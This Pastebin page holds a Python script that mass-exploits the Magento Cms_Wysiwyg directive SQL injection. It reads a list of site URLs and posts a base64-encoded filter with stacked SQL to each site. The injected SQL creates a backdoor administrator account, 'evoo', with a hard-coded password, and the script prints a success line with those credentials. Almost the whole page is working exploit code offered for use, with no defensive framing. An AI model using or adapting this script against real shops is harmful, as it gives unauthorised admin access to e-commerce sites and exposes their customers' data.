Evoo

Magento Python

Jan 29th, 2016
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.76 KB | None | 0 0
  1. import requests
  2. import base64
  3. import sys
  4. target = open(sys.argv[1],'r')
  5.  
  6. for z in target.readlines():
  7.     z=z.strip()
  8.     if not z.startswith("http"):
  9.             z = "http://" + z
  10.  
  11.     if z.endswith("/"):
  12.             z = z[:-1]
  13.     target_url = z + "/index.php/admin/Cms_Wysiwyg/directive/index/"
  14.  
  15.     # For demo purposes, I use the same attack as is being used in the wild
  16.     SQLQUERY="""
  17.     SET @SALT = 'rp';
  18.     SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
  19.     SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
  20.     INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','[email protected]','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
  21.     INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
  22.     """
  23.  
  24.     # Put the nice readable queries into one line,
  25.     # and insert the username:password combinination
  26.     query = SQLQUERY.replace("\n", "").format(username="evoo", password="lastc0de")
  27.     pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
  28.  
  29.     # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
  30.     r = requests.post(target_url,
  31.               data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
  32.                     "filter": base64.b64encode(pfilter),
  33.                     "forwarded": 1})
  34.     if r.ok:
  35.         print "[+]Success {0}/admin with creds evoo|lastc0de".format(z)
  36.     else:
  37.         print "[+]Failed"
  38.     target.close()
Add Comment
Please, Sign In to add comment